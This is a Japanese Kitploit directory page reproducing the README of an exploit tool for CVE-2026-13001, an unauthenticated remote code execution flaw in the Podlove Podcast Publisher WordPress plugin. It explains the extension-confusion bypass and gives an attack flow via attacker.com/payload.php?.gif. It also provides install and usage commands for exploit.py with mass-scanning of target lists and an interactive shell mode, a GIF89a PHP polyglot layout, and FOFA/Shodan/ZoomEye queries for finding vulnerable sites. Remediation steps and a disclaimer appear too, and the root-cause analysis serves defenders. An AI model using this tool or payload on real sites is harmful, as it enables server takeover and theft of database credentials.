Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-13001 — CVE-2026-13001のエクスプロイト: 拡張子の混乱によるPodlove Podcast Publisherの未認証RCE。マススキャン、インタラクティブシェル、GIF89a PHPポリグロットペイロードが含まれます。 | Kitploit
ツール/GitHubGitHub/ghostpels/cve-2026-13001
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubghostpels/cve-2026-13001

CVE-2026-13001

CVE-2026-13001のエクスプロイト: 拡張子の混乱によるPodlove Podcast Publisherの未認証RCE。マススキャン、インタラクティブシェル、GIF89a PHPポリグロットペイロードが含まれます。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 — 拡張子の混乱を利用した認証なしRCE

CVSS 9.8(緊急) | 認証なしの任意ファイルアップロードによるリモートコード実行(RCE)


概要

WordPressプラグインPodlove Podcast Publisher(バージョン4.5.1まで)における重大な脆弱性です。認証なしの攻撃者が画像キャッシュ機能を介してサーバー上に任意のPHPファイルをアップロードでき、**リモートコード実行(RCE)**につながります。

この脆弱性は、ファイル拡張子を異なる方法で解析する2つの内部関数間の不一致を悪用します。

関数メソッド入力:payload.php?.gif結果
is_image()basename() の後に pathinfo()payload.php?.gif.gif(検証を通過)
extract_file_extension()parse_url() の後に pathinfo()/payload.php.php(ディスクに保存)

脆弱性の詳細

フィールド値
CVE IDCVE-2026-13001
CVSS9.8(緊急)
CWECWE-20(不適切な入力検証)
プラグインPodlove Podcast Publisher
影響を受けるバージョン4.5.1以下
修正済みバージョン4.5.2
種別認証なし任意ファイルアップロードによるRCE
研究者Talal Nasraddeen(Wordfence経由)
公開日2026年7月14日

根本原因の分析

この脆弱性は、Podloveプラグイン内の2つの関数が同じURLを解析する一方で、異なるファイル拡張子を抽出するために発生します。

1. is_image() — 検証(lib/helper.php内)

root@kitploit:~
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

この関数は以下をチェックします:

  • exif_imagetype()によるコンテンツベースのチェック - 有効な画像ヘッダー(GIF89a)が必要
  • wp_check_filetype_and_ext()によるWordPressのファイルタイプチェック
  • 拡張子の拒否リスト(php、php3、php4、php5、phtml、pharなど)

basename()はクエリ文字列を含むため、拡張子はgifとして認識され、拒否リストに含まれません。

2. extract_file_extension() — ファイル命名(lib/model/image.php内)

root@kitploit:~
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

ファイルは.php拡張子でディスクに保存されます。


攻撃の流れ

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
   (File starts with GIF89a header but contains PHP code)

2. Exploit appends ?.gif to URL: payload.php?.gif
   Then hex-encodes the full URL

3. Trigger cache download:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. Plugin processing:
   a. Downloads file from attacker URL
   b. is_image() checks content: GIF89a header detected - PASS
   c. is_image() checks extension: basename sees "gif" - PASS
   d. extract_file_extension() uses parse_url path: gets "php"
   e. File saved as: test_original.php

5. File location:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. Attacker accesses the file with parameters -> RCE achieved

インストール

root@kitploit:~
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

使用方法

単一ターゲット

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

一括スキャン

root@kitploit:~
python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

対話モード(アップロード済みファイルへの直接アクセス)

root@kitploit:~
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

デバッグモード

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

オプション

root@kitploit:~
-u, --url          Single target URL
-f, --file         File containing target URLs (one per line)
-s, --shell        URL hosting the GIF89a PHP polyglot
--filename         Custom filename for cached file (default: shell)
--shell-url        Direct URL for interactive mode
-o, --output       Output file for vulnerable targets (bulk mode)
-t, --threads      Number of threads (default: 10)
-v, --verbose      Verbose output
--debug            Debug output (show all HTTP requests)
--no-payload-test  Skip payload accessibility test

ペイロード:GIF89a PHPポリグロット

shell_polyglot.gif.phpは、GIF画像としてもPHPとしても有効なポリグロットファイルです:

root@kitploit:~
GIF89a        <- Valid GIF header (passes exif_imagetype check)
/*            <- Start of comment (GIF binary data is commented out for PHP)

<?php         <- PHP code begins here
// ... code ...
?>

重要:ポリグロットは静的ファイルとしてホストする必要があります(例:Cloudflare R2、AWS S3、PHPを使用しないnginx)。ホスティングサーバーがPHPを処理する場合、コードはターゲットに生のコンテンツとして配信されるのではなく、ホスティングサーバー上で実行されます。


FOFA / Shodan / ZoomEye

root@kitploit:~
# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"

影響

悪用に成功すると、Webサーバーユーザーとしてリモートコード実行が可能になります:

  • wp-config.phpからデータベース認証情報を抽出
  • すべてのWordPressユーザー、投稿、プラグインデータにアクセス
  • 永続的なアクセス機構を展開
  • 内部ネットワークへのピボット
  • サーバー全体の完全な侵害

修復策

  1. Podlove Podcast Publisherを4.5.2以降に更新する
  2. wp-content/cache/podlove/ディレクトリの内容を削除する
  3. キャッシュディレクトリ内の不明なPHPファイルがないかサーバーを監査する
  4. 不審なpodlove_image_cache_urlリクエストがないかアクセスログを監視する

CVE-2025-10147との関連

この脆弱性は、CVE-2025-10147(Podlove <= 4.2.6)の修正のバイパスです。

項目CVE-2025-10147(v4.2.6)CVE-2026-13001(v4.5.1)
根本原因ファイルタイプ検証がまったくない拡張子の混乱による検証バイパス
手法PHPファイルの直接アップロードGIF89aポリグロット+URLクエリのトリック
適用された修正拒否リスト付きis_image()を追加拡張子解析の一貫性を修正

詳細な比較については、analysis/CVE_COMPARISON.mdを参照してください。


参考情報

  • Wordfenceアドバイザリ
  • GitHub修正コミット
  • WordPressプラグインページ
  • NVDエントリ

免責事項

教育目的および許可を受けたテスト目的のみに使用してください。

このツールは、ターゲットシステムのテストについて明示的な書面による許可を得たセキュリティ研究者およびペネトレーションテスターを対象としています。コンピュータシステムへの不正アクセスは違法です。著者は、このツールの不正使用について一切の責任を負いません。


著者

ghostpel-sec — セキュリティ研究&エクスプロイト開発

ライセンス

このプロジェクトはghostpel-sec Security Research Licenseの下でライセンスされています。

ツールをダウンロード